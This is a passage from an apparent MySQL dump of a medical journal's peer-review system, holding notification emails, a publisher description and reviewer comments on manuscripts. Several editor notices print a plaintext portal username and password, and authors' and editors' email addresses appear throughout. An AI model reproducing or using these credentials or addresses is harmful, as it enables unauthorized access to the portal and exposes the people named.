href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',14334,'2023-12-11',85),(4243,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-23-14334</b><br />\r\n            <br />\r\n            Article Title: <b>Chest Wall Tumor - An Unusual Presentation</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Aslam</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof&nbsp; within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drmehwishaslam@gmail.com',14334,'2023-12-11',85),(4244,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-23-14381</b><br />\r\n            <br />\r\n            Article Title: <b>Retropharyngeal Abscess in Children</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammed</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-12-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','uuniversal.research.cluster@gmail.com',14381,'2023-12-27',85),(4245,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-24-14464</b><br />\r\n            <br />\r\n            Article Title: <b>Unraveling the Underlying Factors of Hypertension in Obese Patients: Beyond the Weighty Culprit</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ashneil Drummond</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-24-14464</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',14464,'2024-01-18',85),(4246,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-24-14522</b><br />\r\n            <br />\r\n            Article Title: <b>The Effect of Continuous Positive Airway Pressure on Depressive Symptoms in Obstructive Sleep Apnea</b><br />\r\n            <br />\r\n            Corresponding Author: <b>ILHAM ZAIDI</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-24-14522</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',14522,'2024-02-05',85);
/*!40000 ALTER TABLE `notifications` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `pay_status`
--

DROP TABLE IF EXISTS `pay_status`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `pay_status` (
  `ps_id` int NOT NULL AUTO_INCREMENT,
  `j_id` int NOT NULL,
  `m_id` int NOT NULL,
  `pay_currency` int NOT NULL,
  `pay_amt` int NOT NULL,
  `pay_date` date NOT NULL,
  `pay_mode` int NOT NULL,
  `pay_remarks` text,
  `ps_date` date NOT NULL,
  PRIMARY KEY (`ps_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `pay_status`
--

LOCK TABLES `pay_status` WRITE;
/*!40000 ALTER TABLE `pay_status` DISABLE KEYS */;
/*!40000 ALTER TABLE `pay_status` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `publisher`
--

DROP TABLE IF EXISTS `publisher`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `publisher` (
  `pub_id` int NOT NULL AUTO_INCREMENT,
  `pub_name` varchar(50) NOT NULL,
  `pub_url` varchar(60) NOT NULL,
  `pub_content` longtext,
  `pub_logo` varchar(100) DEFAULT NULL,
  `pub_gacode` varchar(30) DEFAULT NULL,
  `sub_path` varchar(250) NOT NULL,
  PRIMARY KEY (`pub_id`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `publisher`
--

LOCK TABLES `publisher` WRITE;
/*!40000 ALTER TABLE `publisher` DISABLE KEYS */;
INSERT INTO `publisher` VALUES (2,'IT Medical Team','https://www.itmedicalteam.pl/','<p><b>IT Medical Team</b> is an integrative medical and healthcare publisher that invites manuscripts known for innovation and methodical excellence.  As an online, open access publisher, iMedPub encourage authors to file their manuscripts online to avoid delay in the review and publishing process.</p>\r\n	\r\n<p>We offer an easy and user friendly approach to manuscript submission, tracking, and incorporating the reviewer\'s suggestions towards final publishing. Please follow the easy guidelines we offer for you. </p>\r\n	\r\n<h5>Registration</h5>\r\n<p>Individual author/authors must register their details using a \'User Id\' and password so that the author would get an \'Author Portal\' with your complete details and the history of manuscripts submitted and published.</p>\r\n	\r\n	<h5>Submission</h5>\r\n	<ul>\r\n	  <li>By clicking on the manuscript uploading button author can easily import the article from the computer to the journal portal.</li>\r\n	  <li>Each manuscript thus submitted is given a unique identification number.</li>\r\n	  <li>Author can easily access the site and can track the manuscript status as it progresses.</li>\r\n	  <li>&nbsp;Upon receiving the reviewer&rsquo;s comments, the author can update and resubmit it.</li>\r\n	  <li>Author receives timely alerts by mail, messages related to the manuscript so that the author can revert and check the status.</li>\r\n</ul>\r\n	\r\n	<h5>Editorial Process </h5>\r\n	<ul>\r\n	  <li>Can extend invitation to authors, calling for manuscript submission</li>\r\n	  <li>On receiving the manuscript, editor can access it immediately and screen for its relevance.</li>\r\n	  <li>Can assign the manuscript with an ID to a reviewer. </li>\r\n	  <li>Can update the review comments using the editorial tracking system for the author.</li>\r\n	  <li>Can monitor the progress of the review process from time to time.</li>\r\n</ul>\r\n	<h5>Review Process</h5>\r\n	<ul>\r\n	  <li>Reviewer can correspond with the editor in response to the invitation for review.</li>\r\n	  <li>Can download and access the manuscript without delay.</li>\r\n	  <li>Examines the manuscript for its scope, relevance and the methodological appropriateness</li>\r\n	  <li>Can upload the manuscript with suggestions after the competition of the review.\r\n</div>\r\n</li>\r\n</ul>	','https://www.itmedicalteam.pl/assets/images/footer-logo.png',NULL,'https://www.itmedicalteam.pl/peer-review-tracking/');
/*!40000 ALTER TABLE `publisher` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `reviewer_comments`
--

DROP TABLE IF EXISTS `reviewer_comments`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `reviewer_comments` (
  `rc_id` int NOT NULL AUTO_INCREMENT,
  `r_id` int NOT NULL,
  `m_id` int NOT NULL,
  `date_completed` date DEFAULT NULL,
  `comments_edtoffice1` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `comments_edtoffice2` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `comments_edtoffice3` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `comments_edtoffice4` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `comments_edtoffice5` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `comments_author_specific` longtext CHARACTER SET latin1 COLLATE latin1_general_ci,
  `comments_author_general` longtext CHARACTER SET latin1 COLLATE latin1_general_ci,
  `comment_date` date DEFAULT NULL,
  `qa_bg` varchar(30) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `qa_bg_comment` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `qa_lang` varchar(30) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `qa_lang_comment` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `qa_sp` varchar(30) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `qa_sp_comment` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `qa_meth` varchar(30) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `qa_meth_comment` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `rd` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `qa_rc` varchar(30) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `qa_rc_comment` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `qa_or` varchar(30) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `qa_or_comment` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `type` int NOT NULL DEFAULT '1',
  `rc_active` int NOT NULL DEFAULT '1',
  `rc_status` varchar(20) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL DEFAULT 'false',
  PRIMARY KEY (`rc_id`),
  KEY `FK_reviewer_comments` (`r_id`)
) ENGINE=InnoDB AUTO_INCREMENT=5455 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `reviewer_comments`
--

LOCK TABLES `reviewer_comments` WRITE;
/*!40000 ALTER TABLE `reviewer_comments` DISABLE KEYS */;
INSERT INTO `reviewer_comments` VALUES (50,14684,12497,NULL,'4','G','Y','Y','Y','The article have all information for publishing format and it is very useful data for free readers please go head to publish this paper\r\n\r\nabstract: During the latter part of the 20th century, total quality management (TQM) emerged as a global phenomenon for improving organizational performance. Yet, despite its extraordinary dominance, most TQM initiatives were unsuccessful, leading to its decline by the early part of the 21st century.\r\n','The article have all information for publishing format and it is very useful data for free readers please go head to publish this paper\r\n\r\nabstract: During the latter part of the 20th century, total quality management (TQM) emerged as a global phenomenon for improving organizational performance. Yet, despite its extraordinary dominance, most TQM initiatives were unsuccessful, leading to its decline by the early part of the 21st century.\r\n','2022-03-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(87,633,613,'0000-00-00','4','G','Y','Y','N','\"The authors of this manuscript report a single case of spinal cord infarction presenting as occipital headache. Below are my specific comments on the manuscript:\r\n1.	Hypothesis/research questions: The presentation of cervical spinal cord infarct with headache is uncommon but possible. In fact, headache is a common initial symptoms of posterior circulation stroke. Authors have not conducted a proper literature search. There have been many studies reporting this finding. \r\n2.	Please see Hsu et al (2013) that clearly sows headache/neck pain as the most common presenting symptom of cervical spinal cord infarct. As such, this manuscript does not have any novel findings. \r\n3.	The manuscript needs several grammatical revisions therefore the authors should consult a professional writing service. \"\r\n','\"The authors of this manuscript report a single case of spinal cord infarction presenting as occipital headache. Below are my specific comments on the manuscript:\r\n1.	Hypothesis/research questions: The presentation of cervical spinal cord infarct with headache is uncommon but possible. In fact, headache is a common initial symptoms of posterior circulation stroke. Authors have not conducted a proper literature search. There have been many studies reporting this finding. \r\n2.	Please see Hsu et al (2013) that clearly sows headache/neck pain as the most common presenting symptom of cervical spinal cord infarct. As such, this manuscript does not have any novel findings. \r\n3.	The manuscript needs several grammatical revisions therefore the authors should consult a professional writing service. \"\r\n','2019-07-25',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(93,1127,453,'0000-00-00','3','R','Y','Y','Y','In this study the authors documented a significant short-term hemodynamic improvement in patients following TAVI. Noninvasive hemodynamic measurement was performed with a validated non-invasive bioimpedance method.\r\n\r\nThe authors write in the methods that the measurement is done 6-8 hours after TAVI were performed “while all patients were free of inotropics vasopressors or sedatives”. However, in the results, they did not report the type and number of drugs at entry and they did not mention whether the last measurement (second in-hospital follow-up) was done under the same conditions. Authors must indicate whether there were significant changes in the use of medication between baseline, first and second follow-up, since this may have influenced the hemodynamics. If differences are consistent and significant, results must be adjusted for this confounding factor.\r\n\r\nResults. Page 7. “There were no significant changes detectable for resting heart rate (HR), resting respiration rate (RR), stroke volume (SV), stroke index (SI), diastolic and mean arterial blood pressure (BP) as well as for basal impedance (BI).” Evidence must be provided. At least a table with mean values ta the three-time points and statistics must be shown\r\n\r\nMethods. Page 5. “The technology underwent several validation studies…”. Indeed. There are only 2 validation studies, though performed in a significant amount of subjects. The sentence must be rewritten and the text amended appropriately.','','2019-07-26',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(95,633,627,'0000-00-00','4','G','Y','M','Y','The authors of this manuscript report a patient with GBS after Shingrix® vaccine administration. Below are my specific comments on the manuscript.\r\n1. GBS can present shortly after vaccine administration although this case supports the existence prove for GBS after administration of a new vaccine type. This is a novel finding to some extent, and it is important for clinicians to be aware of such entity.\r\n2. There is decent flow of information in the manuscript. The manuscript needs considerable grammatical revision therefore the authors should consult a professional writing service.\r\n3. The discussion section is appropriate.\r\n4. Please see the attached manuscript with a few suggested corrections.','The authors of this manuscript report a patient with GBS after Shingrix® vaccine administration. Below are my specific comments on the manuscript.\r\n1. GBS can present shortly after vaccine administration although this case supports the existence prove for GBS after administration of a new vaccine type. This is a novel finding to some extent, and it is important for clinicians to be aware of such entity.\r\n2. There is decent flow of information in the manuscript. The manuscript needs considerable grammatical revision therefore the authors should consult a professional writing service.\r\n3. The discussion section is appropriate.\r\n4. Please see the attached manuscript with a few suggested corrections.','2019-07-26',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(106,1359,422,'0000-00-00','4','5','4','5','5','Strengths: The subject matter of the consensus statement, the literature review and collection of empirical data and the cited reference.\r\nThe structural presentation of the consensus statement, justifications are strong at places of types of wounds, list of references and some of the useful diagrams and charts are annexed at the end.\r\nThe paper can be accepted for an international publication.\r\nThe subject chosen for developing a multidisciplinary consensus statement on \" The Wound Dressings and Their Applications in Wound Healing and Management\" is very timely and an excellent selection. The empirical information of Wound healing and the types have explained briefly. conclusion should be included. The reference part is with important and current ones only.\r\n',' ','2019-07-29',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(108,1358,422,'0000-00-00','4','4','4','3','4','The subject chosen for developing a multidisciplinary consensus statement on \" The Wound Dressings and Their Applications in Wound Healing and Management\" is very timely and an excellent selection. The empirical information of Wound healing and the types have explained briefly. conclusion should be included. The reference part is with important and current ones only.\r\n',' ','2019-07-29',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(109,1405,423,'0000-00-00','3','5','4','3','4','The manuscript provides an interesting proposal about the adipose tissue and explained briefly including the components in it. CT scan can provide its highest resolution in terms of adipose tissue. \r\nIn the results section, it concluded that females ration is much higher than males, tables are clear based on the gender, P-value and mean value. \r\nelaborate VATS and SAT so that readers can easily understand. \r\nInclude the above correction and proceed for publication. ',' ','2019-07-29',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(110,1406,423,'0000-00-00','3','4','4','4','3','Article is good, explained clearly. \r\nIt can be accepted for publication.\r\n',' ','2019-07-29',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(116,633,602,'0000-00-00','4','g','y','m','y','The authors of this manuscript reported that NMDA antagonist ketamine induces significant hyperactivity and pre pulse 4 inhibition deficits in Gunn rats. Below are my specific comments on the manuscript.\r\n1.	The content and outline is appropriate. \r\n2.	The “tense” changes within a paragraph several times. Please maintain one tense (past or present) throughout the article. \r\n3.	The manuscript needs considerable grammatical revision therefore the authors should consult a professional writing service.\r\n','The authors of this manuscript reported that NMDA antagonist ketamine induces significant hyperactivity and pre pulse 4 inhibition deficits in Gunn rats. Below are my specific comments on the manuscript.\r\n1.	The content and outline is appropriate. \r\n2.	The “tense” changes within a paragraph several times. Please maintain one tense (past or present) throughout the article. \r\n3.	The manuscript needs considerable grammatical revision therefore the authors should consult a professional writing service.\r\n','2019-07-30',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(135,1974,425,'0000-00-00','3','4','3','3','3','The article title is unique and well written. Lunotriquetral coalition is asymptomatic and rare as explained. Author has clearly elaborated the article with figures and the figures itself shows the case report. \r\nLunate and triquetral bones are fused of carpal bones and we can clearly see in figure 1. Only the modification is Figure 1 and Figure 2A has the same caption. Please modify and publish the article.\r\n','','2019-08-01',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(137,1989,548,'0000-00-00','3','3','3','3','3','Author well explained the Absenteeism among Nursing Staff in the Primary Health Care. The consensus recommendations and transition protocol will surely help health care professionals. Adequate references were mentioned in the article. The data of respondents and the percentage values were clearly mentioned in tables. Summaries of findings and discussion, conclusion are briefly explained. I accept the manuscript to be published in your journal.','','2019-08-01',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(138,1990,549,'0000-00-00','3','4','3','3','3','Strengths: The subject matter of the consensus statement, the literature review and methods of empirical data and the cited reference.\r\nThe structural presentation of the consensus statement, justifications are strong at places of methods adopted and analysis of results, list of references and some of the useful diagrams and charts. The paper can be accepted for an international publication.','','2019-08-01',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(152,2206,427,'0000-00-00','3','3','3','4','3','This is an interesting topic. Abstract and introduction included the use of CAD/CAM in dentistry and restorations and prosthesis for better results. In the discussion part, it was stated that the misalignment p=0.721 and significant difference (p>0.05) is only the difference in the sample and carried the same in whole discussion. Kocaagaoglu statement was explained in brief and it is clear. Author has concluded that the uses and standard of CAD/CAM is accurate in prosthetic restorations.   ','','2019-08-03',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(180,663,629,'0000-00-00','3','r','N','Y','N','This manuscript discussed the effects of epilepsy and AEDS on both mother and fetus among female patients with epilepsy during the pregnancy and peripartum period. They found the most maternal complications was vaginal bleed, other complications including fetal distress, premature birth, IUGR, IUD and CDH. The major comments as below:\r\n1. The manuscript should be written in more formal way, especially the method part. \r\n2. The statistical methods should clear state what method the author used in the study. For example, what method was used to evaluate the data on number of previous pregnancies and any complications related to this.\r\n3. There are a lot abbreviates used in the manuscript without the full name explanation. \r\n4. In the discussion part, the author can discuss more how to improve the outcome and the therapeutic method.  \r\n','','2019-08-07',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(190,633,631,'0000-00-00','3','g','n','y','y','\r\nThe authors wrote a short commentary/opinion on sexting. Below are my specific comments on the manuscript.\r\n1. The standard of writing- The manuscript needs several grammatical revisions therefore the authors should consult a professional writing service (Strong recommendation). \r\n2. The quality of the literature review- This is adequate and well summarized.\r\n3. The validity of the conclusions drawn- The conclusions are not robust (no impactful conclusions). The last paragraph needs comprehensive summary of the topic with a comment on future directions. The authors can talk more about what type of research needs to be done in this area to help improve understanding on this issue.\r\n','\r\nThe authors wrote a short commentary/opinion on sexting. Below are my specific comments on the manuscript.\r\n1. The standard of writing- The manuscript needs several grammatical revisions therefore the authors should consult a professional writing service (Strong recommendation). \r\n2. The quality of the literature review- This is adequate and well summarized.\r\n3. The validity of the conclusions drawn- The conclusions are not robust (no impactful conclusions). The last paragraph needs comprehensive summary of the topic with a comment on future directions. The authors can talk more about what type of research needs to be done in this area to help improve understanding on this issue.\r\n\r\nIn summary, I would consider accepting the article with revision. \r\n','2019-08-08',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(275,660,747,'0000-00-00','5','Y','Y','Y','Y','N/a ','Interesting meta analysis on a topic pretty well documented. The manuscript is not original in terms of contents, but in the fact that it if one of the first meta analysis on the arousal. Deserves publication ','2019-08-17',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(276,660,747,'0000-00-00','Y','Y','Y','Y','Y','N/a ','','2019-08-17',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(337,3238,1023,'0000-00-00','4','G','Y','Y','N','The article was well written and is ready for publication except with a little formatting styles.\r\nElaborate the Abstract part.\r\nDescribe why Kirby-Bauer disc diffusion method is used for antimicrobial susceptibility tests rather than using other advanced tests. (https://academic.oup.com/jac/article/72/2/323/2939532).\r\nAdd conclusion part as a research article wants it.\r\n\r\nOverall the article is well written.\r\n','','2019-08-22',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(387,878,816,'0000-00-00','4','4','4','4','4','Author well explained the topic. The consensus recommendations and protocol will surely help medical teachers. Abstract shows that how the medical teachers work in their fields. This article will be useful for the readers and medical professionals. Adequate references were mentioned in the article. I accept the manuscript to be published in your journal. ','','2019-08-26',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(402,633,628,'0000-00-00','3','r','y','y','n','The authors of this manuscript report the effects of imipramine and chlorpromazine on neurobehavioral parameters in stressed mice. Below are my specific comments on the manuscript.\r\n1. The manuscript needs major grammatical revision therefore the authors should consult a professional writing service. \r\n2. In the background, the authors talked extensively about depression and anxiety from an epidemiology point of view. However, this should be concise and relevant to the title.\r\n3. The materials section can be eliminated.\r\n4. The various tests and assays used were extensively elaborated. Please narrow down the various tests to 1-2 paragraphs to limit distraction for the readers.\r\n5. The results section is oversimplified. The results of this experiment may suggest differences in the effects of antidepressants, but this cannot be concluded based on one study.\r\n6. Finally, the manuscript is very lengthy. Please reduce the length to keep the reader engaged.','The authors of this manuscript report the effects of imipramine and chlorpromazine on neurobehavioral parameters in stressed mice. Below are my specific comments on the manuscript.\r\n1. The manuscript needs major grammatical revision therefore the authors should consult a professional writing service. The sentence phrasing is poor.\r\n2. In the background, the authors talked extensively about depression and anxiety from an epidemiology point of view. However, this should be concise and relevant to the title.\r\n3. The materials section can be eliminated.\r\n4. The various tests and assays used were extensively elaborated. Please narrow down the various tests to 1-2 paragraphs to limit distraction for the readers.\r\n5. The results section is oversimplified. The results of this experiment may suggest differences in the effects of antidepressants, but this cannot be concluded based on one study.\r\n6. Finally, the manuscript is very lengthy. Please reduce the length to keep the reader engaged.\r\n\r\n','2019-08-27',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(404,1989,429,'0000-00-00','3','3','3','5','3','The Article is innovative. Introduction shows that Orthognathic Surgery is used in the deformation of maxillary and mandibular bones. As mentioned, different articles were taken as reference to explain the article in the methods. The mean values are accurate and check the spaces in between units. In conclusion, author concluded that OS modifies the maxillofacial drawbacks in OSAS patients. OS helps in re-formation of upper and lower jaws of OSAS. As it is a review, the article is well written and it can be accepted for publication.','','2019-08-27',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(405,880,726,'0000-00-00','4','4','5','4','5','The present work evaluated about the Tranexamic Acid which is a fibrinolyte and which clots the blood and stops the bleeding against the surgeries. Elucidation of Tranexamic Acid is briefly explained in the introduction and also mentioned the effects of this acid on cardiac surgery.  The search strategies and study design followed the MeSH term in order to cite the articles. As explained Tranexamic acid is mostly given through skin as the PH is high and it activates the plasminogen and prevents the lysis of heme.  More research has to be done to use this tranexamic acid as said by many researchers as it has many alternate outcomes. The article can be accepted for publication. \r\n\r\n','','2019-08-27',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(421,2238,969,'0000-00-00','4','4','4','3','4','In this research study it was stated that RSV is exposed at neonatal care unit. Usually we can observe these cases majorly in under developed countries due to financial crisis. Admitting outpatients with RSV may affect infants and children as the immunity will be less. Author has explained briefly with figures and tables. As shown in the figure 1 we can observe that the external cases are more when compared with internal cases. Variables and the percentage of new born is clear in the table 1 and the same in table 2 i.e., of internal and external cases.  ','','2019-08-28',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(537,7022,1998,'0000-00-00','2','3','2','Y','Y','\r\n1.)	Overall the manuscript is suggesting few pathways and genes upregulated by dengue infection but there is no direct conclusion stating this particular pathway or genes are related with DF or DHF. Please specify and emphasize on what are the novel pathways or genes identified associated with DF and DHF.\r\nIn the current work for a manuscript the author should perform some functionality tests to actually correlate their findings to DH or DHF. \r\nIn the current format and amount of data the write up seems more suitable for a letter format.\r\n2.)	Does author have any information on the type of virus these patients were infected with since dengue virus have different subtypes and few subtypes are known to increase specific pathways. \r\n3.)	Does author have information on the age of the patient it will be important to correlate the response with the age too since there might be some difference between pediatric and adult patients.\r\n4.)	There is also a condition which progresses from DHF called dengue shock syndrome did some of these patients progress to that and what are the specific pathways associated with that syndrome.\r\n','','2019-09-06',NULL,'','','','','','','','','','','','',1,1,'FALSE'),(544,7022,2079,NULL,'3','3','4','Y','Y','\r\n1.)	Please provide information on the age group of these subjects. Comment if there are any differences in the response to depression in the adolescent versus adult patients. \r\n2.)	Were any of these subjects treated for depression and is the response to the treatment different. \r\n3.)	Any gender difference based findings observed in this study? For ex. Females were more susceptible to the effects than the males users.\r\n4.)	What is the range of follow up time after which these patients were assessed for depression was it 12 months or more or immediately after the drug abuse.\r\n5.)	Can the author categorize the patients and provide the information on the particular type of substance of abuse used by these patients.\r\n6.)	Are these subjects frequent or non-frequent users. If this is a mixed population did the author observe any differences between the different types of users.\r\n7.)	Was the study repeated after a particular time interval to see any differences in the self esteem or depression outcomes.\r\n8.)	Comment on the differences in the education and overall background of these subjects are there any specific outcome differences based on them. \r\n','','2019-09-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'FALSE'),(555,7303,2051,NULL,'3','g','y','m','y','The work entitled “BACTERIAL ISOLATES FROM LONAR LAKE PRODUCE ANTIMICROBIAL FACTORS EFFECTIVE AGAINST MDR PATHOGENS” studies the activity of an antimicrobial lonar isolate, the Bacillus sp.  The introduction of the subject is well conducted, and the experimental methods are clear and concise. The work is interesting and, in most instances, scientifically sound.\r\nHowever, the presentation of the results is weak, being sometimes difficult to understand the authors’ point of view. Most importantly, the images have low quality and are not well organized. In fact, the organization of the results is damaging the understanding of the data. Even though the discussion is strong and scientifically sound, the authors should provide a more detailed analysis and confront their data with previously published work. In some 